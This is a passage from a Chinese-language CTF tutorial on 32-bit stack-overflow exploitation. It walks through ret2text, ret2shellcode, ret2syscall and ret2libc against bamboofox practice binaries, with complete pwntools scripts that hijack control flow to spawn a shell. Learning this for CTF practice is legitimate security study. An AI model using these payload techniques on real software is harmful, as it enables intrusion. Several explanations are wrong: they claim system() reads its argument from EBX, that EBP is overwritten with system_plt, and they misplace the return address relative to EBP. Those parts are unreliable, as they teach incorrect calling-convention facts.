栈溢出简介
函数中的存储在栈中的局部变量数组边界检查不严格发生越界写,造成用户输入覆盖到缓冲区外的数据内容,
由于栈中同时存在着与函数调用参数的相关信息,栈溢出可以导致控制流劫持
基础栈溢出(hello world in pwn)
多数情况下我们需要让程序执行这一段代码般来说,在CTF中的PWN,
system("/bin/sh"");
也就是说在远程机器上开一个命令行终端
这样我们就可以通过命令行来控制目标机器
通常来说,CTF比赛中只需要开启命令行后读flag(cat flag)
ret2text(理想情况)
Return to text,控制程序的返回地址到原本程序中的函数(代码)。
例如程序中有类似function:
- system(‘/bin/sh’)
- execve(‘/bin/sh’,NULL,NULL)
就可以跳转到这个function,function的地址可以通过objdump或者ida来查找。
理想情况下,程序中有一段代码能直接满足我们的需求,
我们只需要将执行流劫持到这一段代码即可
例子
main函数调用b,b函数调用a。
缓冲区溢出发生在a函数中。
buf的长度为80,但是却读入了200长度。
分析程序运行至a时的栈帧
栈中存放buf和返回地址等等信息。
buf的长度为80,紧邻b函数的rbp指针和返回地址,
栈地址从高地址向低地址生长。
我们读入一段数据是从低地址向高地址读入。
这里我们读入'X’*80 +'A’*8 +'B’*8
可以看到,原本存储b函数的rbp地址内容已经被覆盖成了'AAAAAAAA‘
返回地址已经被覆盖为了'BBBBBBBB’
这时候,如果程序返回,程序会返回一个异常错误。
因为'BBBBBBBB’这个字符串,翻译到16进制:0x4242424242424242,这个地址在内存中不是一个合法的代码地址。
我们变换一下思路,这次我们输入的数据是:X’*80 +'A’*8 + target addr
target addrs是我们想要让程序跳转到的地方,
这时候,程序的执行流就被我们控制了
rbp
那么RBP我们就不管了吗?
是的,一般情况下,RBP的值我们不需要构造。
RBP是程序用来定位栈中的局部变量地址的。
除非涉及到RBP寄存器传递参数,一般的ROP不要管RBP.
具体情况具体分析。
总结
栈溢出的原理就是栈中存储的局部变量数组发生溢出,覆盖了栈中的其他数据将返回地址覆盖为我们期望的目标地址,即可劫持控制流
例题
ret2text
原理
ret2text 即控制程序执行程序本身已有的的代码 (即, .text
段中的代码) 。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
例1
其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。
点击下载: ret2text
首先,查看一下程序的保护机制:
➜ ret2text checksec ret2text
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看出程序是 32 位程序,且仅开启了栈不可执行保护。接下来我们使用 IDA 反编译该程序:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}
可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。接下来查看反汇编代码:
.text:080485FD secure proc near
.text:080485FD
.text:080485FD input = dword ptr -10h
.text:080485FD secretcode = dword ptr -0Ch
.text:080485FD
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
在 secure 函数又发现了存在调用 system("/bin/sh")
的代码,那么如果我们直接控制程序返回至 0x0804863A
,那么就可以得到系统的 shell 了。
下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。
.text:080486A7 lea eax, [esp+1Ch]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets
可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下:
gef➤ b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤ r
There is something amazing here, do you know anything?
Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24 gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebx : 0x00000000
$ecx : 0xffffffff
$edx : 0xf7faf870 → 0x00000000
$esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebp : 0xffffcdc8 → 0x00000000
$esi : 0xf7fae000 → 0x001b1db0
$edi : 0xf7fae000 → 0x001b1db0
$eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>
调用 gets
函数时,buf
的地址被传递给 gets
,也就是说 buf
的地址是 0xffffcd5c
计算 buf
与 esp
的偏移
buf
的地址是 0xffffcd5c
,esp
是 0xffffcd40
。要计算 buf
相对于 esp
的偏移量,我们进行如下计算:
buf 地址 = 0xffffcd5c
esp 地址 = 0xffffcd40
偏移量 = buf 地址 - esp 地址 = 0xffffcd5c - 0xffffcd40 = 0x1c
所以 buf
相对于 esp
的偏移量是 0x1c
。
计算 buf
与 ebp
的偏移
类似地,buf
的地址是 0xffffcd5c
,ebp
是 0xffffcdc8
。计算偏移量如下:
buf 地址 = 0xffffcd5c
ebp 地址 = 0xffffcdc8
偏移量 = buf 地址 - ebp 地址 = 0xffffcd5c - 0xffffcdc8 = -0x6c
这里的偏移量是 -0x6c
,也就是说 buf
相对于 ebp
的偏移是 -0x6c
。
计算 buf
与返回地址的偏移
在栈帧中,返回地址位于 ebp
的上方(更低地址)。通常情况下,返回地址位于 ebp + 4
的位置。因此 buf
相对于返回地址的偏移量可以通过以下计算得出:
buf 相对于返回地址的偏移 = -0x6c + 4 = -0x68
综上所述:
buf
相对于esp
的偏移量是0x1c
buf
相对于ebp
的偏移量是-0x6c
buf
相对于返回地址的偏移量是-0x68
可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c
,因此,我们可以推断:
- s 的地址为 0xffffcd5c
- s 相对于 ebp 的偏移为 0x6c
- s 相对于返回地址的偏移为 0x6c+4
因此最后的 payload 如下:
##!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()
ret2shellcode(正常情况)
如果程序中没有这样一段代码,怎么办?
我们可以自己写shellcode!
shellcode就是一段可以独立运行开启shell的一段汇编代码
ret2shellcode的思路就是
(1)构造shellcode通过溢出放到程序某片存储空间上——为了能够执行这段代码,所存储的区域需要有可执行的权限
(2)将返回地址劫持到构造的shellcode地址使得程序开始执行恶意代码
如果程序中存在让用户向一段长度足够的缓冲区中输入数据
我们向其中输入shellcode。
将程序劫持到shellcode上即可
当然,这种也是理想情况。
就是计算buf和原始返回地址之间的偏移量然后填充shellcode直到能把返回地址覆盖成我想控制的地址buf,然后buf又返回缓冲区执行shellcode
-
确定偏移量: 首先,攻击者需要确定从缓冲区开始到保存在栈上的返回地址(EIP或类似的寄存器)的偏移量。这通常通过分析程序的内存布局来完成,可能涉及到使用调试器或逆向工程工具。
-
构造Payload: 知道了偏移量后,攻击者构造一个payload,它由以下几部分组成:
- 填充(Padding): 这部分数据用于确保payload覆盖到返回地址的位置。填充通常是用某个特定字符(如'A')重复多次,直到达到偏移量的长度。
- Shellcode: 这是攻击者希望执行的恶意代码。在某些情况下,如果缓冲区足够大,shellcode可以直接放在payload中。
- NOP Sled: 一个NOP滑动区(NOP是No Operation指令)可能被添加在shellcode之前,以确保如果溢出稍微超出了预期,控制流仍然可以安全地滑到shellcode的开始处。
-
覆盖返回地址: 当payload被发送到程序时,如果存在缓冲区溢出漏洞,填充部分将覆盖原始的返回地址,将其改变为攻击者控制的地址。这个地址通常是攻击者控制的内存区域的地址,比如shellcode所在的位置。
-
执行Shellcode: 一旦函数返回,CPU会尝试跳转到新的返回地址(现在被覆盖为攻击者控制的地址)。如果这个地址指向shellcode,那么shellcode将被执行。
Saved EIP
表示函数调用时保存的返回地址,它以小端序存储,所以低位字节在低地址处。- 参数
Arg1
和Arg2
也以小端序存储,它们的低位字节在低地址处,高位字节在高地址处。 - 缓冲区
Buffer
从栈底方向开始存储,如果发生溢出,攻击者的数据会覆盖缓冲区的字节,然后向上覆盖参数和返回地址。
例1
首先看C代码:
#include <stdio.h>
#include <string.h>
char buf2[100];
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("No system for you this time !!!\n");
gets(buf);
strncpy(buf2, buf, 100);
printf("bye bye ~");
return 0;
}
v4为gets函数接收数据长度范围,依据ret2text的方法可以得到字符串起始位置距离ret跳转0x6c+4个字节,接下来使用strncpy函数将按输入的内容复制到buf2变量当中。和ret2text不同的是ret2shellcode程序中并没有直接可以调用的"/bin/sh"可以用,没有也没关系,由于NX保护没有开启,我们可以自己构造shellcode放在栈中。接下来需要找存放shellcode的位置,由于输入的字符串存储在buf2变量当中,所以可以从buf2变量下手
这里我们以 bamboofox 中的 ret2shellcode 为例,需要注意的是,你应当在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。
点击下载: ret2shellcode
首先检测程序开启的保护:
➜ ret2shellcode checksec ret2shellcode
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。接下来我们再使用 IDA 对程序进行反编译:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}
可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
通过IDA可以找到buf2变量存放在bss段(0x0804A080),因为一会自己构造的shellcode需要存放在buf2变量中,而buf2变量存放在程序的bss段,所以需要通过gdb查看一下该程序是否在bss段具有执行权限,如果没有执行权限,连带着buf2变量中的shellcode就不可执行
gef➤ b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤ r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
Breakpoint 1, main () at ret2shellcode.c:8
8 setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
6 int main(void)
7 {
→ 8 setvbuf(stdout, 0LL, 2, 0LL);
9 setvbuf(stdin, 0LL, 1, 0LL);
10
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx
0xf7fd3000 0xf7fd5000 0x00000000 rwx
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限:
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。
最后的 payload 如下:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()
112字节的由来:padding(填充) = (ebp - (esp+1c)) + 4
shellcode.ljust(112, b'A')
是 Python 中的一个字符串操作,它执行的步骤如下:
例如,如果buf2_addr
是攻击者控制的内存地址,攻击者希望程序跳转到这个地址执行shellcode,那么p32(buf2_addr)
将这个地址转换成4个字节的字节串,然后将这个字节串附加到溢出数据的末尾。这样,当程序执行到这个溢出的数据时,它的返回地址将被覆盖,导致程序跳转到攻击者指定的地址执行shellcode。
-
shellcode: 这是一个字节串(bytes),通常包含了要执行的恶意代码。在缓冲区溢出攻击中,攻击者会利用这个字节串来覆盖程序的控制流。
-
ljust(112, b'A'): 这是一个字符串方法调用,它的作用是将
shellcode
左对齐到一个指定的宽度,这里是 112 字节。如果shellcode
的长度小于 112 字节,那么它将被填充到这个宽度。填充使用的字符是第二个参数b'A'
,这是一个字节,其 ASCII 码值为 65,即大写字母 'A'。 -
填充过程: 如果
shellcode
的长度小于 112 字节,ljust
方法会在shellcode
的右侧填充 'A' 字符,直到整个字符串的长度达到 112 字节。如果shellcode
的长度已经等于或超过 112 字节,ljust
方法将不会做任何填充。 -
在缓冲区溢出攻击中,
p32(buf2_addr)
这个函数的用途是将一个32位的地址(buf2_addr
)转换成其32位的字节串表示形式。这通常用于覆盖程序的返回地址,使得程序执行流被重定向到攻击者控制的内存区域。具体来说,
p32
函数的作用如下: -
地址转换: 将一个32位的整数地址(
buf2_addr
)转换成其字节串形式。在32位系统中,一个地址是4个字节长。 -
字节顺序: 转换过程中,
p32
函数会根据目标系统的字节顺序(大端或小端)来排列这四个字节。这对于确保攻击的有效性至关重要,因为不同的系统可能有不同的字节顺序。 -
覆盖返回地址: 在缓冲区溢出攻击中,攻击者通过溢出缓冲区来覆盖函数的返回地址。
p32(buf2_addr)
转换得到的字节串被放置在溢出数据的末尾,以确保当函数返回时,程序计数器(Program Counter, PC)被设置为这个新的地址。 -
执行控制: 当程序执行到这个被覆盖的返回地址时,它会跳转到攻击者指定的内存地址(
buf2_addr
)处执行。如果这个地址处存放的是攻击者的shellcode,那么程序将执行这段shellcode,从而允许攻击者获得对目标系统的控制。
ret2syscall
原理
ret2syscall,即控制程序执行系统调用,获取 shell。
系统调用linux
Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是:
- 应用程序调用库函数(API);
- API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
- 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
- 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
- 中断处理函数返回到 API 中;
- API 将 EAX 返回给应用程序。
应用程序调用系统调用的过程是:
- 把系统调用的编号存入 EAX;
- 把函数参数存入其它通用寄存器;
- 触发 0x80 号中断(int 0x80)。
例子
这里我们继续以 bamboofox 中的 ret2syscall 为例。
点击下载: ret2syscall
首先检测程序开启的保护:
➜ ret2syscall checksec rop
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 进行反编译:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。关于系统调用的知识,请参考:
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell:
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
首先,我们来寻找控制 eax 的 gadgets
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。
类似的,我们可以得到控制其它寄存器的 gadgets
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
这里,我选择
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
这个可以直接控制其它三个寄存器。
此外,我们需要获得 /bin/sh 字符串对应的地址。
➜ ret2syscall ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
可以找到对应的地址,此外,还有 int 0x80 的地址,如下
➜ ret2syscall ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4
同时,也找到对应的地址了。
下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。
-
栈溢出:首先,通过栈溢出覆盖返回地址,使得程序的控制流转移到我们控制的代码。
-
调用 pop_eax_ret:构造的 payload 使得程序的返回地址指向
pop_eax_ret
的地址。当程序执行到这里时,会执行pop_eax
指令。 -
设置 EAX:
pop_eax
指令从栈中弹出下一个值到 EAX 寄存器。在这个例子中,下一个值是我们放置在栈上的0xb
,它被设置为 EAX 寄存器的值。EAX 寄存器在 x86 架构中通常用于存储系统调用号。 -
执行 ret:
pop_eax_ret
gadget 中的ret
指令将程序的控制权返回到调用者。在栈溢出的上下文中,调用者是我们构造的 payload 中的下一部分。 -
触发系统调用:在
pop_eax_ret
执行后,程序继续执行我们构造的 payload 的下一部分。这通常包括设置其他寄存器(如 EBX, ECX, EDX)的值,这些寄存器将作为系统调用的参数。 -
执行系统调用:一旦所有必要的寄存器都被设置,我们通常会使用另一个 gadget 或者直接使用中断指令(如
int 0x80
)来触发系统调用。在这个例子中,如果execve
是我们想要触发的系统调用,EBX 应该包含/bin/sh
的地址,ECX 和 EDX 应该为 NULL 指针,表示没有环境变量和参数。 -
获取 shell:如果一切设置正确,
execve
系统调用将执行,程序将尝试执行/bin/sh
,从而为我们提供一个 shell。
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
ret2libc
这是一种在存在栈溢出漏洞的程序中利用动态链接库(如 libc)中的函数来执行任意代码的方法
基本思路
ret2libc是控制函数执行libc中的函数,通常是返回至某个函数的plt处。一般情况下,会选择执行system('/bin/sh'),因此需要找到system函数的地址
看到这里相信有的师傅就会问了,为什么不能直接跳到got表,通过前面的前置知识我们知道plt表中的地址对应的是指令,got表中的地址对应的是指令地址,而返回地址必须保存一段有效的汇编指令,所以必须要用plt表
ret2libc通常可以分为下面几种类型:
- • 程序中自身包含system函数和"/bin/sh"字符串
- • 程序中自身就有system函数,但是没有"/bin/sh"字符串
- • 程序中自身没有syetem函数和"/bin/sh"字符串,但给出了libc.so文件
- • 程序中自身没有sysetm函数和"/bin/sh"字符串,并且没有给出libc.so文件
针对前面那三种在前面的文章中已经进行过详细讲解,本文主要是针对第四种情况进行讲解
对于没有给出libc.so文件的程序,我们可以通过泄漏出程序当中的某个函数的地址,通过查询来找出其中使用lib.so版本是哪一个,然后根据lib.so的版本去找到我们需要的system函数的地址。
针对常见的题目我们的解题思路是这样的:
- 1. 利用栈溢出及puts函数泄漏出在got表中
__libc_start_main
函数的地址 - 2. puts函数的返回地址为_start函数
- 3. 利用最低的12位找出libc版本(即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变)
- 4. 利用找到的libc版本计算system函数和/bin/sh字符串在内存中的正确的地址
例子
我们由简单到难分别给出三个例子。
例 1(有system 有/bin/sh)
这里我们以 bamboofox 中 ret2libc1 为例。
点击下载: ret2libc1
首先,我们检查一下程序的安全保护:
➜ ret2libc1 checksec ret2libc1
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
源程序为 32 位,开启了 NX 保护。下面对程序进行反编译以确定漏洞位置:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets((char *)&v4);
return 0;
}
可以看到在执行 gets 函数的时候出现了栈溢出。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在:
➜ ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下:
A*N + system_addr + fake_ret + system_arg |
-
A*N: 这部分是用来填充到达返回地址的位置,其中
N
是通过调试工具(如GDB)精确确定的填充字节数。填充的目的是覆盖程序的栈帧,直到达到保存返回地址的位置。 -
system_addr: 这是libc中
system
函数的地址。在攻击中,我们希望将程序的执行流转移到system
函数,以便执行我们希望运行的命令,比如/bin/sh
。 -
fake_ret: 这是一个虚假的返回地址。其目的是为了在函数返回时,程序不会因为跳转到
system
函数执行完毕后返回,而导致崩溃或不可预测的行为。通常使用一些无害的地址,比如'BBBB'
(0x42424242)。 -
system_arg: 这是
system
函数的参数,通常是一个字符串的地址,比如'/bin/sh'
的地址。'/bin/sh'
是一个常见的shell路径,调用system('/bin/sh')
将会打开一个交互式shell。
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 'bbbb'
作为虚假的地址,其后参数对应的参数内容。
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。
例 2(有system 无/bin/sh)
这里以 bamboofox 中的 ret2libc2 为例 。
与 ret2libc1 不同的是程序中不包含 "/bin/sh" 字符串,需要自己将字符串写入到内存中。所以整个过程分成了两部分,需要两个 gadgets,第一部分是将 "/bin/sh" 读入到内存中;第二部分是执行 system() 获取 shell。需要注意的是,我这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。
点击下载: ret2libc2
-
缓冲区溢出:首先,
b'a' * 112
用于填充缓冲区,溢出的数据会覆盖掉函数的局部变量和EBP(基指针)。 -
覆盖返回地址:
gets_plt
是程序中gets
函数的 PLT 条目地址。攻击者通过溢出覆盖了原始函数的返回地址,将其改为gets_plt
。当函数尝试返回时,程序将跳转到gets_plt
。 -
调用
gets
函数:由于返回地址被修改为gets_plt
,程序将调用gets
函数。gets
函数从标准输入读取一行数据,直到遇到换行符,并将数据存储到buf2
指定的地址。(虽然b'a' * 112
已经溢出了缓冲区,但调用gets
函数的目的是为了利用它的不安全性来进一步控制程序的执行流程,特别是在覆盖了返回地址之后。这是实现栈溢出攻击的关键步骤之一,当gets
函数被调用来处理攻击者的输入时,它将读取输入并写入到buf2
指定的内存地址。由于buf2
是攻击者控制的地址,这允许攻击者执行任意内存写入。) -
执行
pop_ebx
指令:pop_ebx
是包含pop ebx
指令的内存地址。在gets
函数返回后,由于gets_plt
指向了pop_ebx
,程序将执行pop ebx
指令。这个指令将从栈中弹出一个值到 EBX 寄存器。pop_ebx
是pop ebx
指令的地址,用来将栈顶的值赋给ebx
寄存器。 -
设置 EBX 寄存器:
buf2
是pop ebx
指令弹出的值,即 EBX 寄存器的新值。这个值是攻击者控制的内存地址,指向要执行的命令字符串。 -
准备调用
system
函数:system_plt
是system
函数的 PLT 条目地址。攻击者通过溢出将 EBP(基指针)覆盖为system_plt
,这样当pop ebx
执行后,程序将尝试跳转到system_plt
。 -
占位符:
0xdeadbeef
是一个占位符,在这个上下文中没有实际作用。它可能用于调试或确保栈对齐,但在执行流程中被忽略。 -
调用
system
函数:最后,buf2
再次出现,这次是作为system
函数的参数。因为system
函数读取 EBX 寄存器指向的地址作为命令字符串,攻击者随后发送/bin/sh
作为命令,使得system("/bin/sh")
被执行。
在栈溢出攻击中,选择执行 pop ebx
而不是其他 pop
指令(如 pop eax
、pop ecx
等)通常基于以下几个原因:
-
控制 EBX 寄存器:在许多二进制程序中,特别是使用 x86 架构的程序,EBX 寄存器可能被用作存储参数传递给函数。在这种情况下,如果攻击者能够控制 EBX 寄存器的值,他们就可以影响函数调用的行为。
-
调用
system
函数:在栈溢出攻击中,攻击者通常的目标之一是调用system
函数来执行一个 shell。在 C 语言中,system
函数需要一个指向命令字符串的指针作为参数。通过执行pop ebx
,攻击者可以将一个指向他们控制的内存地址的值放入 EBX 寄存器,这个地址包含了要执行的命令。 -
利用调用约定:在某些系统调用约定中,EBX 寄存器可能被用作传递函数参数。例如,在 Linux 系统上,
read
、write
和open
等系统调用使用 EBX 作为第一个参数。攻击者可以利用这一点来执行其他类型的攻击。 -
简化攻击流程:选择
pop ebx
可以使攻击流程更加简单和直接。攻击者只需要覆盖返回地址以跳转到pop ebx
指令,然后确保栈上pop ebx
